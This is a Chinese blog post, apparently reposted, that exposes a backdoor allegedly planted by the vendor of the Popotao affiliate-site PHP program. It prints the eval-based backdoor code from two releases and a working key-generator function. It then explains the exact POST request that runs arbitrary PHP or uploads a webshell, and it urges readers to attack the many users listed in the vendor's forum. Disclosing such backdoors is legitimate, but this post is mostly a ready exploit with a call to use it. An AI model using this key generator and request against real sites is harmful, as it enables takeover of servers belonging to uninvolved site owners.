好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

泡泡淘(popotao)淘客程序官方后门分析 - 网站安

泡泡淘是一个蛮不错的淘客建站程序,官方网址:http://HdhCmsTestpopotao测试数据。 

 

本人就是他们的用户之一

 

由于官方几个月不更新,跟不上淘宝API的更新速度,所以我想自己解决,把官方的6个ZEND加密过的PHP文件破解了。结果发现了极其恶心的事情。 

 

在include/admin.func.php文件的最下面,发现以下代码,这是2012年9月27日的版本。妈的,ZEND加密保护版权还有网站授权认证无可厚非。但是利用加密加入后门。就太可耻了。 

 

1 if ( isset( $_POST['_tks'] ) && ( $tks = trim( $_POST['_tks'] ) ) )  

 

2 {  

 

3     $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );  

 

4     if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )  

 

5     {  

 

6         eval( $_POST['tao'] );  

 

7     }  

 

8     exit( );  

 

9 } 

 

后来2月4号跟官方交涉,官方还死不承认,但是在之后的几个小时内。马上更新了补丁。也就是20130204的版本。还是信不过。继续解密。发现仍不思悔改。只不过提交的参数名变了。在程序里留个后门。对用户是多么的不负责。再次鄙视。后门代码还是include/admin.func.php文件里的最下面。 

 

1 if ( isset( $_POST['_MDFK'] ) && ( $tks = trim( $_POST['_MDFK'] ) ) )  

 

2 {  

 

3     $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );  

 

4     if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )  

 

5     {  

 

6         eval( $_POST['_HkBs'] );  

 

7     }  

 

8     exit( );  

 

9 } 

 

既然对用户这么不负责,那我只有公布泡泡淘的丑陋行径了。如果只是 漏洞 ,可以不公布利用方法,但是这里是官方留下的后门。那就一定要给出利用方法。 

 

里用原理就是提交一个字符串,然后通过了域名和时间的验证,顺利到达eval这里。活生生的一句话后门。不搞安全的可能不知道。我只需要说,有这句代码,控制你们网站的服务器。真的没什么问题。把PID什么的改掉。你的网站就帮别人赚钱吧。 

 

01 function getfuckkey($domain = ''){  

 

02     $time = 'K_'.date("Y_m_d");  

 

03     //$domain = $_SERVER['HTTP_HOST'];  

 

04     if ($domain) {  

 

05         $key = $domain.'|'.$time;  

 

06         $key2 = base64_encode(~$key);  

 

07         $key3 = strrev($key2);  

 

08         $k1 = substr( $key3, 0, 5 );  

 

09         $k2 = substr( $key3, 5, -3 );  

 

10         $k3 = substr( $key3, -3 );  

 

11         $key4 = $k3.$k1.$k2;  

 

12         return $key4;  

 

13     } else {  

 

14         return '';  

 

15     }  

 

16 }  

 

17 echo getfuckkey('xiaosajie测试数据'); 

 

这样可以得到字符串,然后post方式,注意必须POST方式提交,提交到include/admin.func.php?_MDFK={key}&_HkBs=phpinfo() 

 

就可以查看phpinfo();或者直接上传大马,随便了。 

 

泡泡淘的用户很多,在官方 论坛 里,很多人的帖子签名都有网站。随便搞就是一大堆。 

 

最后预祝大家蛇年行大运。4ngel给各位拜年了。 

 

查看更多关于泡泡淘(popotao)淘客程序官方后门分析 - 网站安的详细内容...

  阅读:69次